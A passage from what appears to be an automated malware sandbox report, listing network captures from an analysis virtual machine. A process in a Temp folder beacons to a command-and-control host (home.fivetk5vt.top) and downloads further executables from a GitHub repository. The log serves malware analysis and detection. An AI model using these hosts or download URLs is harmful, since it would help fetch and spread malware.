Dec 19, 2024 16:11:47.925899029 CET	2201	OUT	Data Raw: d6 94 a7 52 cd b0 3a be fb ff dc 03 55 32 34 56 09 a3 43 34 df f2 5c e1 24 f6 40 15 45 a0 d6 7d 34 c4 ec 2f 77 1b 17 dc 6a d1 f1 8d 42 03 b8 12 b2 ed 32 88 0f b0 76 bd 8e f7 e0 89 66 64 75 59 ea d1 08 17 df 6b 1c 0b 5d e0 9b 1c de f1 b5 58 e3 95 Data Ascii: R:U24VC4\$@E}4/wjB2vfduYk]X^qe>b%BtNo"xu8Axsa3>SG+# vp@f7['RTXR3fT(RYHv4l330{zttQ,7nx1PTt@(K>nByl
Dec 19, 2024 16:11:49.456135035 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Thu, 19 Dec 2024 15:11:49 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1734622897 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	50182	176.53.146.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:11:51.519138098 CET	196	OUT	POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1 Host: home.fivetk5vt.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 55 61 61 71 71 33 74 33 71 38 53 65 6b 66 47 73 31 37 33 34 36 32 31 30 36 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "Uaaqq3t3q8SekfGs1734621065", "data": "Done2" }
Dec 19, 2024 16:11:53.240873098 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 19 Dec 2024 15:11:52 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:09:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 55 48 72 6e 67 74 61 6c 58 6b 69 68 4c 62 31 52 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 64 32 33 37 62 31 66 30 37 63 37 39 66 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: UHrngtalXkihLb1R.1Context: c1d237b1f07c79f9
2024-12-19 15:09:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-19 15:09:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 55 48 72 6e 67 74 61 6c 58 6b 69 68 4c 62 31 52 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 64 32 33 37 62 31 66 30 37 63 37 39 66 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 45 6d 76 44 79 6c 75 56 74 48 71 4d 42 47 62 77 30 65 73 52 76 56 55 35 36 49 30 4c 53 32 78 30 77 38 33 5a 45 77 4a 4d 4a 63 7a 63 31 59 4d 66 47 44 49 7a 31 66 76 64 71 47 33 2f 53 65 37 68 58 4b 67 31 45 32 6b 41 52 44 75 50 79 6b 72 4d 48 76 63 58 49 61 42 43 56 70 52 45 50 74 79 31 67 36 54 67 34 75 54 43 30 69 75 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: UHrngtalXkihLb1R.2Context: c1d237b1f07c79f9<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcEmvDyluVtHqMBGbw0esRvVU56I0LS2x0w83ZEwJMJczc1YMfGDIz1fvdqG3/Se7hXKg1E2kARDuPykrMHvcXIaBCVpREPty1g6Tg4uTC0iuA
2024-12-19 15:09:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 55 48 72 6e 67 74 61 6c 58 6b 69 68 4c 62 31 52 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 64 32 33 37 62 31 66 30 37 63 37 39 66 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: UHrngtalXkihLb1R.3Context: c1d237b1f07c79f9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-19 15:09:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-19 15:09:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 32 44 6c 78 6a 65 49 41 57 55 32 32 36 48 61 6f 58 56 76 4a 6b 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 2DlxjeIAWU226HaoXVvJkA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49725	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:09:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 65 35 44 69 56 62 76 77 45 45 75 41 38 33 74 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 34 33 32 62 65 30 66 31 37 66 35 39 63 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: e5DiVbvwEEuA83tT.1Context: b8432be0f17f59c3
2024-12-19 15:09:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-19 15:09:24 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 65 35 44 69 56 62 76 77 45 45 75 41 38 33 74 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 34 33 32 62 65 30 66 31 37 66 35 39 63 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 45 6d 76 44 79 6c 75 56 74 48 71 4d 42 47 62 77 30 65 73 52 76 56 55 35 36 49 30 4c 53 32 78 30 77 38 33 5a 45 77 4a 4d 4a 63 7a 63 31 59 4d 66 47 44 49 7a 31 66 76 64 71 47 33 2f 53 65 37 68 58 4b 67 31 45 32 6b 41 52 44 75 50 79 6b 72 4d 48 76 63 58 49 61 42 43 56 70 52 45 50 74 79 31 67 36 54 67 34 75 54 43 30 69 75 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: e5DiVbvwEEuA83tT.2Context: b8432be0f17f59c3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcEmvDyluVtHqMBGbw0esRvVU56I0LS2x0w83ZEwJMJczc1YMfGDIz1fvdqG3/Se7hXKg1E2kARDuPykrMHvcXIaBCVpREPty1g6Tg4uTC0iuA
2024-12-19 15:09:24 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 65 35 44 69 56 62 76 77 45 45 75 41 38 33 74 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 38 34 33 32 62 65 30 66 31 37 66 35 39 63 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: e5DiVbvwEEuA83tT.3Context: b8432be0f17f59c3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-19 15:09:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-19 15:09:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 68 7a 67 75 65 35 33 2b 45 57 51 61 46 72 56 58 30 46 2f 49 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mhzgue53+EWQaFrVX0F/IQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49762	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:09:40 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 43 42 78 46 64 38 35 70 59 6b 2b 5a 74 61 50 48 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 30 66 31 64 31 63 36 62 30 38 37 32 61 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: CBxFd85pYk+ZtaPH.1Context: 930f1d1c6b0872a2
2024-12-19 15:09:40 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-19 15:09:40 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 43 42 78 46 64 38 35 70 59 6b 2b 5a 74 61 50 48 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 30 66 31 64 31 63 36 62 30 38 37 32 61 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 45 6d 76 44 79 6c 75 56 74 48 71 4d 42 47 62 77 30 65 73 52 76 56 55 35 36 49 30 4c 53 32 78 30 77 38 33 5a 45 77 4a 4d 4a 63 7a 63 31 59 4d 66 47 44 49 7a 31 66 76 64 71 47 33 2f 53 65 37 68 58 4b 67 31 45 32 6b 41 52 44 75 50 79 6b 72 4d 48 76 63 58 49 61 42 43 56 70 52 45 50 74 79 31 67 36 54 67 34 75 54 43 30 69 75 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: CBxFd85pYk+ZtaPH.2Context: 930f1d1c6b0872a2<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcEmvDyluVtHqMBGbw0esRvVU56I0LS2x0w83ZEwJMJczc1YMfGDIz1fvdqG3/Se7hXKg1E2kARDuPykrMHvcXIaBCVpREPty1g6Tg4uTC0iuA
2024-12-19 15:09:40 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 43 42 78 46 64 38 35 70 59 6b 2b 5a 74 61 50 48 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 30 66 31 64 31 63 36 62 30 38 37 32 61 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: CBxFd85pYk+ZtaPH.3Context: 930f1d1c6b0872a2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-19 15:09:41 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-19 15:09:41 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 55 7a 56 75 59 50 65 49 72 30 57 72 37 4a 50 2f 33 70 4f 45 61 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: UzVuYPeIr0Wr7JP/3pOEaQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49814	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:01 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 56 68 37 71 4f 6c 77 46 6b 2b 62 7a 33 4c 77 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 62 31 63 38 37 63 63 32 63 36 33 30 31 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6Vh7qOlwFk+bz3Lw.1Context: d0b1c87cc2c63011
2024-12-19 15:10:01 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-19 15:10:01 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 56 68 37 71 4f 6c 77 46 6b 2b 62 7a 33 4c 77 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 62 31 63 38 37 63 63 32 63 36 33 30 31 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 45 6d 76 44 79 6c 75 56 74 48 71 4d 42 47 62 77 30 65 73 52 76 56 55 35 36 49 30 4c 53 32 78 30 77 38 33 5a 45 77 4a 4d 4a 63 7a 63 31 59 4d 66 47 44 49 7a 31 66 76 64 71 47 33 2f 53 65 37 68 58 4b 67 31 45 32 6b 41 52 44 75 50 79 6b 72 4d 48 76 63 58 49 61 42 43 56 70 52 45 50 74 79 31 67 36 54 67 34 75 54 43 30 69 75 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 6Vh7qOlwFk+bz3Lw.2Context: d0b1c87cc2c63011<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcEmvDyluVtHqMBGbw0esRvVU56I0LS2x0w83ZEwJMJczc1YMfGDIz1fvdqG3/Se7hXKg1E2kARDuPykrMHvcXIaBCVpREPty1g6Tg4uTC0iuA
2024-12-19 15:10:01 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 56 68 37 71 4f 6c 77 46 6b 2b 62 7a 33 4c 77 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 62 31 63 38 37 63 63 32 63 36 33 30 31 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 6Vh7qOlwFk+bz3Lw.3Context: d0b1c87cc2c63011<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-19 15:10:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-19 15:10:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 5a 68 6a 2f 4f 31 33 4f 6b 2b 47 48 5a 68 57 53 63 54 72 4f 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: LZhj/O13Ok+GHZhWScTrOw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49880	140.82.121.4	443	1592	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:26 UTC	111	OUT	GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-19 15:10:26 UTC	562	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 19 Dec 2024 15:10:26 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-19 15:10:26 UTC	3381	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49879	140.82.121.4	443	1592	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:26 UTC	111	OUT	GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-19 15:10:26 UTC	562	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 19 Dec 2024 15:10:26 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-19 15:10:26 UTC	3381	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
